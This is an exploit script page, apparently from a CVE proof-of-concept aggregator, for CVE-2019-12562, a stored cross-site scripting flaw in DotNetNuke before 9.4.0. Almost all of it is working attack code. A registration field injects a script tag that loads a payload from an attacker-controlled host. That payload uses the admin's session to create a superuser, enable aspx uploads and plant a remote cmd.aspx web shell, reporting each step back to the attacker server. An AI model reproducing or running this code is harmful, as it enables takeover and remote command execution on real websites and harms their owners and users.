4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-12562.py PY
# Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0
# Exploit Description : This exploit will add a superuser to target DNN website.
# Exploit Condition : Successful exploitation occurs when an admin user visits a notification page.
# Exploit Author: MAYASEVEN
# CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/)
# Github : https://github.com/MAYASEVEN/CVE-2019-12562
# Website : https://mayaseven.com

import urllib.request
from bs4 import BeautifulSoup

####################################################################################################
################################## Config the variables here #######################################
####################################################################################################
TARGET_URL = "http://targetdomain/dnnsite"
USERNAME = "MAYASEVEN"   # At least five characters long
PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters
EMAIL = "[email protected]" # Change email to any you want
# A web server for listening an event
LISTEN_URL = "http://yourdomain:1337"
#####################################################################################################
#####################################################################################################
#####################################################################################################

# Payload to add a superuser to website
PAYLOAD = "John<script src='"+LISTEN_URL+"/payload.js'></script>"
FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value;
var xhttp = new XMLHttpRequest();
var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}";
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        var returnhttp1 = new XMLHttpRequest();
        returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user');
        returnhttp1.send();
        var xhttp2 = new XMLHttpRequest();
        var userId = JSON.parse(xhttp.responseText).userId;
        xhttp2.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                var returnhttp2 = new XMLHttpRequest();
                returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success');
                returnhttp2.send();
                var reconfig = new XMLHttpRequest();
                var aspxconfig = "{'DisplayCopyright':true,'ShowCriticalErrors':true,'DebugMode':false,'RememberCheckbox':true,'AutoAccountUnlockDuration':10,'AsyncTimeout':90,'MaxUploadSize':28,'RangeUploadSize':28,'AllowedExtensionWhitelist':'jpg,jpeg,jpe,gif,bmp,png,svg,ttf,eot,woff,doc,docx,xls,xlsx,ppt,pptx,pdf,txt,xml,xsl,xsd,css,zip,rar,template,htmtemplate,ico,avi,mpg,mpeg,mp3,wmv,mov,wav,mp4,webm,ogv,aspx'}";
                reconfig.onreadystatechange = function() {
                    if (this.readyState == 4 && this.status == 200) {
                        var returnhttp3 = new XMLHttpRequest();
                        returnhttp3.open("GET", '"""+LISTEN_URL+"""/Aspx_upload_file_allowed');
                        returnhttp3.send();
                        var upload = new XMLHttpRequest();
                        var uploaddata = "Url=https%3A%2F%2Fraw.githubusercontent.com%2Ftennc%2Fwebshell%2Fmaster%2Ffuzzdb-webshell%2Fasp%2Fcmd.aspx&Folder=&Overwrite=true&Unzip=false&Filter=&IsHostMenu=true&isHostPortal=true";
                        reconfig.onreadystatechange = function() {
                            if (this.readyState == 4 && this.status == 200) {
                                var returnhttp4 = new XMLHttpRequest();
                                returnhttp4.open("GET", '"""+LISTEN_URL+"""/Web_shell_uploaded');
                                returnhttp4.send();
                            }
                        }
                        upload.open('POST', '"""+TARGET_URL+"""/API/InternalServices/FileUpload/UploadFromUrl', true);
                        upload.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=UTF-8');
                        upload.setRequestHeader('RequestVerificationToken', token);
                        upload.send(uploaddata);
                    }
                }
                reconfig.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Security/UpdateOtherSettings', true);
                reconfig.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
                reconfig.setRequestHeader('RequestVerificationToken', token);
                reconfig.send(aspxconfig);
            }
        }
        xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true);
        xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
        xhttp2.setRequestHeader('RequestVerificationToken', token);
        xhttp2.send(params);
    }
};
xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true);
xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp.setRequestHeader('RequestVerificationToken', token);
xhttp.send(params);
"""

def create_payload():
    # Create a payload.js file
    f = open("payload.js", "w")
    f.write(FILE_CONTENT)
    f.close()

def check_target():
    global regpage
    reg = urllib.request.urlopen(TARGET_URL+"/Register")
    regpage = reg.read().decode("utf8")
    reg.close()
    if "dnn" in regpage:
       return True
    else: return False

def exploit():
    # Fetching parameter from regpage
    soup = BeautifulSoup(regpage, 'html.parser')
    formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"})
    inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input")
    param = {}
    print(" [+] Fetching DNN random parameter name.")
    for i in soup.select('input[name*="_TextBox"]'):
        print(" [+]", i["aria-label"],":", i["name"])
        param[i["aria-label"]] = i["name"]
    ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton"
    __EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"]
    __VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"]
    __EVENTTARGET = "dnn$ctr$Register$registerButton"

    # Posting data to target
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'}
    data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET,
        param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'}
    data = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers)
    response = urllib.request.urlopen(req)
    if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"):
        create_payload()
        return True
    elif "A user already exists" in response.read().decode("utf8"):
        print(" [!] The user already exists")
        return False
    elif "The Display Name is invalid." in response.read().decode("utf8"):
        print(" [!] DotNetNuke verion already been patched")
    else: return False

def main():
    print("[ Checking the target ]")
    if(check_target()):
        print(" [+] Target is DNN website.")
        print(" [+] URL: %s" % TARGET_URL)
    else:
        print(" [!] Target is not DNN website and exploit will not working.")
        return
    print("[ Running an exploit ]")
    if(exploit()):
        print("[ Successful exploited the target ]")
        print("> Creating a payload.js file in current directory.")
        print("> You have to serve the web server and place payload.js on it.")
        print("> And waiting admin to open a notification then the user will be added.")
        print("> Web shell will be uploaded at URL: %s/Portals/_default/cmd.aspx" % TARGET_URL)
        print("> Username: %s" % USERNAME)
        print("> Password: %s" % PASSWORD)
    else:
        print(" [!] Failed to exploit the target.")
        return

if(__name__ == "__main__"):
    main()